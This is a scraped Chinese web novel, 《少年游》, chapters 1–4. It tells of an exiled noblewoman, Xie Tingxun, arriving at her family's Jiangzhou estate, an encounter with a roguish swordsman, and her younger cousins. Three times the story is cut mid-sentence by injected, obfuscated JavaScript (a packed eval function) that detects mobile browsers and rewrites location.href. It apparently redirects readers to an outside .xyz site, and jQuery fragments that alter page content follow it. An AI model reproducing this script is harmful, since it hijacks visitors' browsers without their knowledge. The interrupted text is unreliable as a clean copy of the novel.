《少年游》
1. 江南岸
谢庭训端坐在铺了绒毯的马车内,支着下巴,神情专注看向车窗外。
江南二月。
草长莺飞,春色无边。
女使阿姮见她神情专注,忍不住跪坐在她身后,伸手为她揉按太阳穴。一面觑着谢庭训的面色,一面不动声色劝解道:“日头这样大,实在晃眼得很。”
“不如将车窗合上,女郎浅寐片刻?”
谢庭训已经三天两夜不曾合眼了。
两日前,谢家连夜遣送谢庭训回祖宅。
明面上说是静养,实则放言谢家再无七娘谢庭训!
在此之前,谢庭训已经在庭院中跪了一夜。
那晚风雨凄切,阿姮躲在廊庑下,看着女郎纤细单薄的身影倒映在古旧的天井下,如竹如玉,却也几乎被压得破碎。
阿姮有些不明白。
不过是退婚。
好端端的,明明是裴家非要退婚,怎么就成了自家女郎的归错?
阿姮想不明白,自然也觉得谢庭训想不明白。
可她不希望谢庭训总想着这件事。
“听闻江州民风开放,又连接着数不尽的渡口,贸易往来极多,繁华也不下京都多少。眼下马上就要进江州地界,女郎到时候要好好开一开眼界才好。”
谢庭训微微移过来面颊。
斑驳的日光穿彻湘妃竹帘,落在她侧脸上,通透如玉。
女郎肤如敷雪,鸦黑长发垂落在单薄的肩头,越发衬得她羸弱若纸。然而她坐姿却十分端庄,腰肢挺拔,肩背舒展,像是风中一株摇曳的修竹。
这样的品貌气度,曾是京都贵女第一流。
却抵不过有心之人的三两句诋毁,被迫远离京都,退避江州。
凭什么呢?
阿姮又气又怜。
她给谢庭训披上毯子,低声道:“且合合眼吧。”
谢庭训微垂着眼睑,实在没有一丁点睡意。
她将毯子的边缘在膝前捋平,摇摇头,重新看向了窗外,“我还没离开过京都,看什么都新奇,只怕到了祖宅才能安心睡下。”
阿姮只好不再劝。
谢庭训这话并不是全是宽慰她。
她是真的看什么都有些新奇。
京都数不尽的旧世家、新显贵,互相攀比门庭,更是为了宣扬名声不择手段。作为谢家宗支嫡系,谢庭训从生来就必须恪守规矩,否则便是辱没了身后的百年谢氏。
她规行矩步,习以为常。
无论出现在哪里,都目不斜视,从容淡然。
但偶尔可以侧目,为什么不看看呢?
马车行至渡口,要换乘船只过江。
此时天色已晚,谢庭训忍不住有些犯困,却还是强打着精神下车。才挽起帘子,便被阿姮快手快脚地戴上了一顶幂篱,扶着她踩着矮凳下车。
然而等了片刻,前头的人和货物都没有半分动静。
远处晃动的渔火照在江面上,勾勒出岸边连绵不见头的芦苇丛,月光烛光模糊成一片,消融在蓝黑色的天穹之下。
谢庭训实在困得有些站不住。
阿姮一跺脚,扶着她走到一侧码头边的酒家坐下,火急火燎说:“我去看看前头是怎么一回事,女郎稍坐,我看完了就回来。”
“若是太困了,眯一会儿也使得。”
外头候着的,是谢家的部曲。
换做是谁,也不敢冒犯了谢庭训去。
毋论谢庭训如今什么处境,但只单凭一个谢字,便足以与寻常士庶划开天壤之别。
谢庭训点点头,轻轻唔了声。
离了阿姮的支撑,她自己托着腮,有些托不住。
不知不觉,便趴在桌子上睡了过去。
困到了极致,哪怕是稍稍睡了一小会儿,也睡得极其有效。谢庭训被喧哗声吵醒的时候,整个人的意识都清晰了过来,四周陌生的动静像她涌来。
“桂花酒不卖。”
“那倒要借问秦娘子,不卖桂花酒,卖什么?”
“……这酒寮中,除了酒,可没别的了。”
那是一道极其轻佻风流的嗓音,带着少年人才有的飞扬意气,尾音微微压低拖长。谢庭训几乎可以想见,说出这话的少年郎君,面上带着何等戏谑的笑意。
谢庭训隔着帷纱,看向那道身影。
很高挑,个子令人意外地挺拔,要她仰起下巴才能看清楚。
只能看见一个背影,简单白袍勾勒出修长劲瘦的身形,乌黑的长发潦草地高高束起,在灯光下发梢还微晃了一下,真是说不出的生机勃勃。
腰间配了剑。
那是他周身,最为精致的物件。
却被随意挂在粗布腰带上。
如果说往日谢庭训常见的世家子弟,是精心修剪培植出的阶兰玉树,眼前的少年更像是江边野蛮生长的芦苇,春风一吹,便铺天盖地地自在摇曳舒展。
“卞少侠,你仔细瞧瞧。”
“酒虽然没了,这酒寮中可有更珍贵的,就在你眼前呢。”
倚靠在酒柜上的美妇人身体前倾,如花的眉眼笑开,抬手捋了捋鬓边散落的碎发,好似羞涩地避开视线。然而她柔媚的嗓音,早已引得无数道目光往她身上流连,难以收回。
就连谢庭训,也下意识朝着沽酒娘看去。
和京中世家贵女以瘦为美不一样,沽酒娘身姿丰腴,饱满欲滴。
有些发紧的衣裳裹在她身上,有些地方随着动作一颤一颤的,仿佛随时要崩开似的。加上她动作毫不矜持,甚至带了些故意的扭动,越发惹人遐想。
谢庭训只看了一眼,便有些脸热。
她移开目光,坐姿下意识更端正了几分,有些不自在。
可,确实和京都见到的很不一样。
江州风俗果然开放许多。
如此想着,谢庭训无意识又抬起眼,朝着沽酒娘又看了一眼。谁知才抬头,就正撞上沽酒娘的目光,后者对着她似勾引似挑衅地一挑眼,唇畔笑意如花,转身又撇了撇嘴。
谢庭训僵了一瞬间,眼睫轻颤。
几乎下意识想要歉意一笑,小声说句冒犯了,或是不动声色道个歉。
随即才反应过来,自己带着幂篱。
对方应当是看不见她的表情。
不少客人开始和沽酒娘搭话,荤素不忌,但也许是顾忌着谢家的部曲,声音都不大。沽酒娘对这些客人也敷衍,不怎么搭腔,要添酒添菜了才懒懒答应一句,扭着腰肢撂下酒菜便走。
重新倚靠在酒柜上,视线继续落在白衣少侠身上。
沽酒娘嗓音发甜发腻,调笑着问:“不远千里而来,没尝到桂花酒的滋味,总要尝一尝别的吧?”
“你说呢?卞少侠。”
从谢庭训的视角看过去,这画面实在太过于暧昧。
沽酒娘倾身挺胸,几乎依偎进了少年的怀中,仰起的脸上红唇微张,雪白的面容沁出动人心魄的薄绯色,仿佛在无声等待着些什么。
偏偏那少年不闪不躲,仍是闲闲靠在栏杆上,一缕碎发被夜风吹入沽酒娘敞开的衣领中。
他嗓音缓缓,似笑非笑,“听不懂秦娘子指的是什么。”
搭讪沽酒娘不成的客人们发出低低的怪笑,惹得沽酒娘脸上红晕更甚,却仍伸出指尖点了点自己的脸颊,似笑非笑地踮起脚,凑到少年耳边要说些什么。
谢庭训自觉再看下去有些不礼貌,正要移开目光,就见那少年略微侧过脸去。他原本抱在胸前的手,按在了腰间的剑柄上,露出半张线条利落流畅的侧脸。
灯光流淌在他眉骨上,折下一片浅浅的阴影。
他蓦地抬眼,语气懒散随意,“莫非,是……”
视线随意转向身后。
谢家的部曲应声戒备起来。
然而他偏偏不说后半句话,连目光也像一掠而过,压根没有落在谢庭训身上过,令人抓不着把柄。
只是气氛陡然变得微妙了起来。
就好似,沽酒娘口中比桂花酒还要珍贵的物什,便是端坐一旁的谢庭训一般。没有人如此说,但是任谁,第一反应便是这样想。
毕竟这位女郎只要坐在那,总是遮得严严实实,也是金尊玉贵的。
谢庭训原本还带着点瞌睡,饶有趣味地看戏。
这会儿猝不及防,睡意一扫而空。
好轻薄放诞的人!
谢庭训生来清贵无双,又才貌品行出色,从前与京都同辈的郎君们相处,也只有别人尊着敬着她的份儿,从未被如此冒犯过。
饶是她好性儿,也觉得有些愠怒。
然而少年话音一转,慢慢说出后半句话。
“……有贵客。”
“秦娘子的桂
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14772345|157840||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
花酒,已经尽数许给了贵客?”
“所以令我空跑了一回。”
沽酒娘愣了一下,视线看向坐在角落里的谢庭训,没有说话。
听他说完口中的话,自然不是冒犯她的意思,但到底坏了她在一旁看戏的心情。
谢庭训干脆站起身,朝外面正向自己走来的阿姮走去。
“货物堵住了舱门,这会儿还没挪开呢,估计还要等上一时半刻。”
“女郎不是犯困么?怎么不多坐会。”
谢庭训只是摇摇头。
阿姮探头往酒寮内看了一眼,心里大致有了猜测,便对着守在门外的仆从招招手,理所应当地吩咐道:“去将这些闲杂人都轰出去,再去将女郎的软毡毯取来,让酒家腾出地方铺好。”
“罢了。”
“现下不困了,出来透透气。”
“不必大费周折。”
“这有什么?”阿姮有些气呼呼的,狠狠瞪了里面悄悄看自己的酒客一眼,“女郎出身谢氏,什么样的场面使不得?能用她的地方,便是给她天大的面子了!”
那白衣侠客正撩开酒寮的门帘,迎面便听到这么一句话。
也正撞上了阿姮满是不屑的目光。
谢庭训心中暗道不好。
果然,阿姮几步上前,挡在了谢庭训的面前。
“看什么看!”
“我家女郎也是你能看的?”
实则谢庭训带着帷纱垂至脚踝的幂篱,别说是容貌,便是身形都隐去了七八成。再者,对方也并没有看谢庭训,只是阿姮如今心口堵着一口气,看谁都不怀好意。
可她想要阻拦,已经来不及了。
只是白衣少年不置一词,握在手中的长剑却倏然出鞘一寸,凌冽的剑气破空,将谢庭训身前低垂层层纬纱荡起,四散飘飞。
谢庭训避之不及,下意识侧身避开,抬手以袖按住帷纱。
女郎窈窕修长的身形若隐若现一刻,那少年刻意越过阿姮,故意看她一眼。
接着也不等阿姮反应,径直出门,笑着扬长而去。
就连谢庭训都觉得他实在幼稚恶劣。
阿姮更是被气得一佛降世二佛升天,恨不得冲上去撕了对方。可到底常年被谢庭训约束着,虽然倨傲随性了些,却不至于当真如此无礼。
谢庭训心知如此,待她气消了,才说道:“你这心性,到了江州可要收敛一二。”
平日里的阿姮,并不如此气盛。
毕竟是谢庭训贴身的女使,无论心中作何想,面上是必须稳重的。
只是如今落了难,阿姮怕别人轻视了她去,才这样要强。
“女郎……”
阿姮的声音带了一点哭腔。
谢庭训便知道,自己知道阿姮的心思,阿姮自然也知道自己的心思。
她小心翼翼,生怕谢庭训意识到自己今非昔比。
“刚刚的少年游侠,风流浪荡,虽然并没有真的冒犯我,可也实在令我不喜欢。”谢庭训叹了口气,伸手牵住阿姮的手,柔声说,“你维护我,我自然高兴。”
“只是,若是一有人冒犯你我,便要如此盛怒……”
“在江州,恐怕过得不会舒心。”
阿姮不说话了。
她垂下脑袋,好半天才小声说:“只要女郎舒心,阿姮便舒心。”
谢庭训幽幽叹了口气。
舒心么?其实也不算如何不舒心。
能来江州走走,她其实是很喜欢的,就这么看看戏,更是很有意思。
只是,阿姮的担心并非空穴来风。
身处权势中心,就越是明白那些捧高踩低的戏码。
不过,她还不至于应付不来。
谢庭训看一眼空出来的甲板,拍拍阿姮的手,温声说道:“走吧。上船歇一夜,明日醒过来便到江州的码头了。到时候拜见叔父叔母,只怕要忙一天,先养好精神。”
阿姮振奋精神,用力点头。
她认真道:“他们一定很重视女郎!我再背一遍名帖,务必不出纰漏,落女郎的面子。”
谢庭训没忍住笑了。
反正此时夜色重重,面容又隐藏在幂篱下。
她忍笑道:“那你可要仔细些。”
“……”
江上春风起。
一夜便吹绿江南岸。
2. 江南岸
阿姮猜得大错特错。
江州谢家既没有派遣下人来码头迎接,就连守在角门外的仆从,都对突然造访的嫡支七娘子分外茫然,表示压根没听说这件事。
马车和人停在谢家门外,加上看热闹的老百姓,挤挤攘攘填了半条街。
阿姮听完仆从回的话,眼眶发红。
她挽起帘子,分明瘪着嘴,却仍气焰嚣张道:“竟敢慢待女郎,等会儿有他们好看!”
谢庭训若有所思。
她想了想,说道:“先等等,别出声。”
阿姮气呼呼钻进了马车。
大概将一行人撂这儿有半个时辰,门内通传的仆从才姗姗来迟,开了角门放行。
谢家祖宅历经多年,庭院深深。
谢庭训穿过古旧的廊庑,视线为浓厚的枝叶所遮挡,可暗中如有实质的窥视,却从四面八方落在她身上。
谁都对她带着十二分的好奇,暗中估量。
行至门外,谢庭训等人通传。
又是不知道过了多久,屋内才有一个鬓发花白的老媪打起帘子,垂着眼说道:“主母午睡得久了些,这会儿才醒,七娘子勿怪。”
阿姮面色已经非常难看了。
谢庭训暗中将她拉了一把,自己上前一步,温声道:“叔母是长辈,岂敢怪罪。”
对方才微微露出点笑意,点点头,转身又进去了。
“女郎。”阿姮气得脸色煞白,这哪里是午睡迟了,分明是故意给自家女郎一个下马威,“我们当真要住在这里,今日才第一日,往后……”
从前在京都时,何从有人敢这样对待她?
不过是乘着嫡支的余荫,竟敢如此欺辱京中谢氏所出的七娘子!
当真是反了天了。
谢庭训摇摇头,轻声道:“慎言。”
京都人人都称谢七娘林下风致,处事淡然。可那是从前,什么都有人主动送到自家女郎手上,人人都会退避尊重她。
阿姮不明白,到了今时今日,女郎怎么还能这样淡然。
这些人是半分尊重体面都不给自家女郎了!
正恼恨着,两位丫鬟上前打起帘子。
屋内的一应摆设,便徐徐印入谢庭训眼中。比起京都谢氏,自然不及,只是上了年成的样样物件更带了岁月的痕迹,显得古朴庄重。
跽坐在矮榻上的中年妇人抬眼,直直看向谢庭训。
那目光带着毫不掩饰的打量,上下看够了,才施舍般对正行礼的谢庭训道:“都是一家人,何必这样多礼,起来吧。”
话虽如此说了,却不赐坐。
谢庭训便立在下首,向自己的叔母崔氏说起自己的来意。
无非是明面上的那些说辞,说她在京都疾病愈发重了,回到祖宅所在的江州静养。
话虽如此,她心中却也有些不安。
按道理,父兄应当是先传信回江州,将事情始末隐晦地交代给叔父一家。这样她抵达江州,江州谢氏才知道如何接洽她,对后续的事情做出安排。
先前在门外,江州谢家的仆人明显措手不及。
谢庭训便以为,一向最是心思深沉的父兄,是刻意不传信回江州,让她受一受挫。
可眼下叔母的态度,似乎对她的到来并不十分意外。
知道,却故意不交代下去。
这无异于,最大的羞辱。
“原来如此。”崔氏早听说这个侄女儿的名声,眼见她如此宠辱不惊,心下还是忍不住有些惊异,面上却还要表现得一派和气,“你父亲的信,我和你叔父收到了。”
听到这句话,堂下那位冷玉一般女郎才长睫微敛。
她仿佛有些恍惚,却并不意外。
“他说,已经将你从嫡支的族谱上除名。”
“来到江州,就必须和京都谢氏撇清关系,从此再无京都谢七娘。”
“至于你如今的身份,我和你叔父也……”
“尚未定夺。”
这些话,崔氏说出来都觉得残忍。
更不要提听这话的人。
候在一旁的仆婢更是暗自凝神,将全部注意力放在谢庭训身上,只等她惊得晕厥或是大吵大闹,便涌上前去将她处置得安静下来。
但等了许久,那苍白的少女始终没有什么反应。
就连崔氏都觉得十分意外。
谢氏嫡支的女郎,出身比公主都不知道尊贵多少,更遑论谢庭训是历代谢家女中最出挑的一个,说是众星拱月也不为过。
没有人能接受自己从云端跌下来。
“原来如此。”
“只是七娘今日侯在府外,许多人已然瞧见了谢氏家徽,只怕纵然能与京都谢氏撇清,却洗不掉身上江州谢氏的印记。”
女郎面上从容端庄,说话却缜密得滴水不漏,迅速抓到了关键。
只微微发涩的嗓音,略微泄露了情绪。
崔氏心中纳罕不已。
如此相貌气度,已属人间少有。
偏偏遭这样大的挫折,寻常少女只怕早就天塌了,她却还能这样沉得住气,迅速回神从容地与人博弈,这才是谢氏女该有的气度!
想到自己家里的几个女孩儿,崔氏竟然生出一丝惭愧。
但她面上反而不屑一笑,随口道:“在江州的根基,任谁也越不过谢氏去。不说有多少旁支,便是寻常八竿子打不着的亲戚,整日里都要挤破了门来造访……”
谢庭训温声道:“七娘所乘马车,由三匹上好骏马所拉。所随从部曲,武备精良,气度不凡。所带行李,不下十数箱,皆是珍宝。”
天子驾六,大夫三。
士二。
江州谢氏的家主出行,也不过架三马。否则今天守在谢家祖宅外看热闹的人,也不至于会有那么多,无非是觉得谢家又来了什么大人物。
崔氏有些气恼。
京都谢氏既然舍弃了谢庭训,做什么又给她这样的宽待?
到底是在京都的那家人有权有势过了头,让一个弃子,到了江州的地界都能这样气派阔绰,简直是不让别人脸上有面子了!
“果真好生气派。”
崔氏似笑非笑,看似在嘲讽,实则是有些拿不定主意了。
她看了一眼身侧的老媪,后者悄无声息退下。
“何必这样恭敬。”崔氏随便招了招手,吩咐下首的女使,“还不准备毡毯,扶七娘坐下。这样不知规矩,传出去,还以为我管家不力。”
一直悄无声息立在下首的女使慌忙上前,为谢庭训扫榻。
阿姮则扶着谢庭训坐下,为她整理衣裾。
“多谢叔母赐坐。”谢庭训已经站了很久,原本便有些苍白的面容越发失去血色,仪态却是丝毫都挑不出错处的,言语更是温柔谦和,“原该恭敬一些,才显谢氏门风。”
这话说得崔氏浑身舒畅。
她越瞧谢庭训,便越是觉得顺眼。
这样气度的谢氏女,出现在江州,侍奉在她身后……
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14772346|157840||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
姑且想一想,就能猜到那些世家宗妇们羡慕嫉恨的目光了,连带着家中几个女郎身份也跟着水涨船高起来。
崔氏正想得有些飘飘然。
先前出门的老媪已然匆匆进来,附耳传话。
崔氏听得面色陡然严肃起来。
但她却并不急着开口,反而是视线又落在下首的谢庭训身上,带着几分毫不掩饰的挑剔和考量。谢庭训垂首静坐,仪姿端庄,风致楚楚,不见丝毫不自在。
“你在家中行七,上头可有长姊?”
“有一位二姊姊。”谢庭训面上露出真切的哀伤,微微蹙眉,语气却是平静徐缓的,“只是我刚记事时,她便已出阁,婚后不过两年便病逝了。”
“从前我去京都,见过你家中几个年纪小的姐妹。”
“如此看来,那你在家中也算姊妹中的表率。”
谢庭训垂首不语。
“我家中未出阁的,便只剩下七娘九娘和十二娘,还有一个年纪尚小的十五娘。”
“重排齿序后,你便是江州谢氏的七娘子。”
“底下的八娘九娘十二娘,都是与你朝夕相伴的妹妹,你日后要做好姊妹中的表率,切勿令谢氏门风蒙羞,可记住了?”
底下的女使们纷纷露出惊异的表情,直直看向谢庭训。
连阿姮都愣了一会儿神,飞快敛起神色。
竟然……竟然把她记在了江州谢氏的门下?听这话的意思,仿佛也并不是要给谢庭训下马威,而是实打实将她是视作了家人!
众人都有些没回过神儿。
唯独谢庭训整衣起身行礼,面色一如既往地娴雅从容,温声一一答应。
先前还眉毛不是眉毛,眼睛不是眼睛的崔氏,也笑着应了好。
……
阿姮跟着谢庭训走出院子的时候,还有些恍惚。
原以为,自家女郎只能以“亲戚”的名声借住在祖宅,对外更是要遮遮掩掩,小心泄露了自己的身份。若是不小心泄露了身份,搞不好,还要真的重病去世。
毕竟当下极其重视声誉,一旦触及家族利益,就会被家族雪藏乃至舍弃。
谢庭训是女郎,处境就更加危险。
却没料到……
崔氏的态度,真是转换得太快了。
阿姮都有些心有余悸。
有了新的、听得过去的身份,女郎在江州的新生活,虽然远远比不上在京都的时候,至少不会太难过了!
阿姮忍不住地高兴起来。
她正要小心和谢庭训分享几句心情,却被一阵窃窃私语打断,警醒地注意到了藏在角落里的目光。
稍一探索,就找到了方向。
廊庑转角的位置,因为被粗大的树木枝干和垂下的竹帘所遮挡,变得极为隐秘。那里紧紧挨着几个少女,时不时探出脑袋,又缩回去凑在一块儿叽叽喳喳地讨论。
“那就是京都的谢七娘吗?”
“奇怪!她到底是怎么走路的,那么宽大绊脚的深衣穿在她身上都能走得这么端庄!凭什么我们穿上就像是裹了个布袋子在身上一样?”
“你小点声,别被她听到了……”
“……”
学谢庭训走路的那个少女仗着竹帘挡着,端起姿态,一步一步往前走去。
春风一吹,竹帘哗啦啦地被掀起。
正和立在高大的树下,微微含笑看过来的谢庭训视线对上。
少女尖叫一声,左脚绊右脚,摔了个底朝天。
3. 江南岸
在谢庭训和阿姮的目光下,少女同手同脚局促地爬起来,艰难扶着墙躲进了廊庑转角后。另外两个少女不知道小声商量了会儿什么,三人视死如归,磨磨蹭蹭探出头。
“七……七堂姐……”
谢庭训收了唇畔浅浅的弧度,礼貌点了点头,仿佛刚刚的笑意没有发生过。
一一唤了三个少女的齿序,打了招呼。
三个少女神色各异。
似乎有点尴尬,又似乎有点意外,一时之间变得格外老实。
反正都不怎么高兴就是了。
不过也是,任谁这么尴尬的处境被撞见都高兴不起来。
谢庭训没有久留。
她和阿姮径直去了崔氏给她安排的住处,是一处临水的小院子,靠近谢家祖宅边缘。不算太大,但各处都还算精致周全。
谢家的仆婢正在卖力地打扫,阿姮则去指挥自己带来的人,将行礼布置好。
谢庭训则被阿姮安置在檐下,搬了屏风来隔开视线,让她坐在擦洗干净铺了软垫的榻上休息。她本就身体羸弱,又一路周折,没怎么休息好,此时闲下来只觉得疲惫涌上周身。
但暂且不能睡。
何况还有一件事,她也得想一想如何处置。
崔氏肯让她记名,一部分是顺水推舟,另一部分是为了家中的几个待嫁的女郎。
先前说得很明白,让她当这几个小姑娘的表率。
并且,几日后的花朝节。
崔氏打算带着她和几个待嫁的女郎,出门赴会,算是将她的身份介绍给身边的人。
所以在此之前,她得稍稍和几个少女处得好一些。
谢庭训叹了口气。
她的性子,在京都可以算是出了名的无趣。无论是谁,都不喜欢亲近一个总是格外恪守规矩,什么都淡淡的同龄人,那也实在太无趣了。
这真是个难题。
只是暂时还没什么头绪,谢庭训干脆不想了。
此时天色将晚,屋子也收拾得差不多了,草草沐浴后,她终于在江州谢家的屋子中歇下。
次日,谢庭训便如在家中那般,早早起来给各位长辈请安。
晨昏定省,一如往昔。
江州谢家的规矩,明显不如京都谢家。
往日这个时辰,京都谢氏早已灯火通明,阖府上下有条不紊地忙碌了起来。而这里则零星几处亮着灯,只有需要早起和守夜的仆从在走动,因为缺少监管而时不时闲聊几句。
谢庭训到崔氏院外时,屋里才刚刚亮起灯。
请安完毕,在崔氏处坐了会儿。
其余人才陆陆续续来定省,瞧见谢庭训,都有些活见鬼似的。
尤其是昨日的三位堂妹,隐隐有些不满。
谢庭训便知道了,这边的规矩比她料想得还要宽松许多。她起得这样走,导致旁人都还没睡好,就急急忙忙赶过来,免得场面尴尬。
于是,直到吃过午饭,谢庭训才重新带着礼物去见三位堂妹。
上午么,便留给几人补觉好了。
谢庭训先到八娘妙仪住处,还没进去,便听到一阵嬉笑。进门就见屏风后,三个少女挤在一张长榻上,共披着波斯毛毯又笑又闹。
谢庭训顿时十分头大,看向八娘的女使。
刚刚还一本正经,说八娘正在屋内教导两位妹妹练字的女使脸色绯红,垂首不语。
而屋内,听到谢庭训来了,有人要爬起来,有人往毛毯内缩。
还有一个被点了名的少女一骨碌站起来,故作端庄地走出屏风来,行礼道:“七姊。”
但她身后的长卷轴却被她的裙摆带动,散开铺了满地,可谓是将最后一点谎言都揭开得明明白白,算是全然无法挽回了。
“八妹妹。”
谢庭训打完招呼,也将印入眼帘的画卷看完了。
那张长长的卷轴上,画的是一道少年游侠的侧影,行在芳草萋萋的古道上,残阳下白衣仗剑,风度潇洒。
只是寥寥几笔,却可窥见眉梢眼底的风流意味。
不知为何,有些眼熟。
谢庭训无端想起一道轻佻随性的身影,也是如此打扮,神态便更是相似了。
风流浪荡子,大概都如是。
察觉到谢庭训的目光,八娘妙仪大惊失色。
屏风后则飞快伸出一只白皙修长的手,想要不动声色把卷轴拖回去,却反而拉得纸张在地上窸窣作响,令人想要忽视都很难。
“……”
“九妹妹和十二妹妹也在。”谢庭训上前几步,坐在几人对面的矮榻上,示意阿姮将自己准备的礼物拿过来,“正要去给你们送我准备的见面礼,如此到省了我许多麻烦。”
一个年纪有些小的少女乖乖坐好,礼貌道:“我们正要去拜见七姊姊。”
另一个少女身体埋在毛毯里,只露出一只抓着卷轴的手。犹豫了片刻,才红着脸从毯子内钻出来,看了谢庭训一眼,讷讷道:“我……我也是。”
场面尴尬得所有人都安静了下来。
谢庭训其实也好不到哪里去,她从前真没遇到过这样的处境。
她抿了抿唇,看向那张卷轴。
“这张画倒是画得很不错。”谢庭训从不撒谎,是当真觉得这画的画工好,忍不住细细看了一遍,“这画上的儿郎也和京都见到的很不一样。”
听到京都两个字,那位尴尬的少女双眼一亮。
她故作镇定收好卷轴,问道:“京都的少年郎,都是什么样子?”
“……”
另外两个少女都瞪了她一眼。
她自知失言,轻咳一声,又说:“我们在江州,也见不到这画上……”
八娘和十二娘干咳了两声,打断她。
“这画上是谁?”谢庭训伸手,将卷轴拿起来扫了一眼小字,见没有说清楚是谁,便回答九娘的上一个问题,“京都的世家子弟,从不会笑得这样恣肆风流,性情外露。”
九娘不理别人的阻挠了。
她脸颊红扑扑的,高兴地说:“当然风流恣肆了!这可是主人奉觞的九郎,和世家子弟自然不一样。”
“九郎?”谢庭训的视线落在九娘身上。
九娘连忙正色,恢复了几分矜持。
她撑着凭几,状似不经意地解释道:“闻名天下的剑客卞九,七姊姊没
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14772347|157840||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有听说过么?他行踪不定,常常一人一剑行走江湖,无论出现在何地何处,官宦士族或是庶人商贾都会将他因为座上宾。”
谢庭训若有所思。
昨日崔氏提及家中几个堂妹时,有些欲言又止。
最后只说,务必让她为她们做好榜样,要有谢家女该有的矜持和稳重,凡事三思而后行。
原来原由在此。
“谢家从不与寻常士庶往来。”谢庭训慢条斯理将长卷轴收起来,心中大概知道了叔母的担忧,又抽出九娘藏在裙摆下的杂书,“剑客卞九,我确实从未听说过。”
九娘张了张嘴,想要夺回书本和画轴。
但她有些没那个胆子,毕竟昨夜已经被耳提面命过,务必事事要以这位七姊姊为标杆。
“你若听说了,也会好奇的。”九娘忍不住嘟囔,她看了眼前霜女素娥般的谢庭训一眼,只觉得果然很没有意思,“书上说,见过他的女子,没有一个不为他的神采神魂颠倒……”
谢庭训忍不住皱了皱眉。
好端端的,做什么要为一个才见了一面的男子神魂颠倒?
究竟是何等轻薄浮浪的人,才觉得世间所有女子只需看他一眼,便会意动神飞。谢庭训对所谓的卞九连有一分好奇,听九娘这么一说,只觉得有些不喜。
“书上说的?”谢庭训很快反应过来。
九娘点点头,眼巴巴看着谢庭训手里的书。
谢庭训瞧她这副样子,有些想笑,却刻意板了板脸。
将几本书递给了阿姮,全没收了。
“你好奇卞九什么?”谢庭训脾气是很好的,从自己身后准备的礼物里翻出一柄短剑,抽出给三个堂妹看,“这是欧冶子铸成龙渊后所剩精铁所锻,想必九妹妹会喜欢。”
此剑色若霜雪,流光湛湛。
只出鞘一寸,便让人为之心神震荡。
九娘被没收书的那点不高兴,瞬间被抛之脑后。她忍不住伸出手,小心摸了摸,这才高高兴兴地收下,一面大大咧咧回答道:“自然是他仗剑走江湖的侠气和……”
“和什么?”
九娘脸红道:“我不说。”
谢庭训想了想,别说是少女了,便是少年也歆羡自在随心的游侠。
只是这卞九,听起来倒更像是个轻浮的登徒子。
“若是仰慕游侠,自己练练剑也未尝不可,说不准还有路见不平的时候。”谢庭训不想再提卞九之流,循循善诱,“何必空想一个见不到的人?”
“正是因为见不到,无需相处,才觉得有意思和好奇啊。”
“七姊姊,你难道不会好奇不一样的人吗?”
谢庭训无端又想起前几日,在渡口酒家里看到的一幕。那里坐着吃酒的人,三教九流,都是她从前接触不到的众生百态。
是会有些好奇的,她想。
可这些人和她长年养成的习惯相左。
注定不会有太深的交集。
“别的或许会好奇。”谢庭训顿了顿,心下一时闪过渡口轻佻浪荡白衣游侠,一会儿浮现九娘口中令所有人神魂颠倒的剑客,最终随口说,“卞九这般的,应当不会好奇。”
4. 江南岸
九娘有些不高兴,撇了撇嘴。
这位七堂姐态度虽然温柔,可无形中,总带着几分生来的矜贵自持,很有距离感。
甚至让人心生自卑,害怕她会轻视自己。
毕竟,她当真生得极其好看啊。
周身的气度风姿,便是神仙下凡都未必比得上,更何况又有那么煊赫的过去。
她就算当真看不起谁,也理所应当。
“真想让七姊姊也见一下那些少年游侠儿的风度精神,你若到时也不能心悦诚服……”九娘有些怏怏的,手指漫不经心抚过长剑,“便罢了。”
虽然这么说,其实不过是嘴硬。
九娘能看出谢庭训是真没兴趣,反而有些微妙的不喜。
出于教养,才没有表露出来。
不过也是。
京都谢氏连皇权都可以蔑视,自然不必费心结交游侠。而她们江州的士族豪门,却没有那样的根基气派,少不得有意拉拢,将这些游侠奉为上宾。
任侠之风,压根没吹到人家眼睛里去。
当然可以不屑一顾。
谢庭训面容沉静,只说:“若是有缘,自然会见到。”
“七姊姊似乎对这些不太感兴趣。”八娘终于忍不住,插嘴暗暗阻拦九娘不要再说这个话题了,自己上前转移话题,“过几日的花朝节,来赴宴的大多是城中官宦显贵家的郎君娘子,到时候正好可以一起玩。”
谢庭训微微一怔。
她那句话是客气,但也并非敷衍。
不喜欢卞九那样的浪荡子,却不代表她对所有游侠都抱有偏见,毕竟这世上无论在什么样的位置,应当都有不凡之人。
明珠美玉,并非士族皇家所独有。
只是有时候明珠在箧、美玉蒙尘,暂时找不到伯乐而已。
谢庭训支起下巴,想了想,还是没有多说什么。
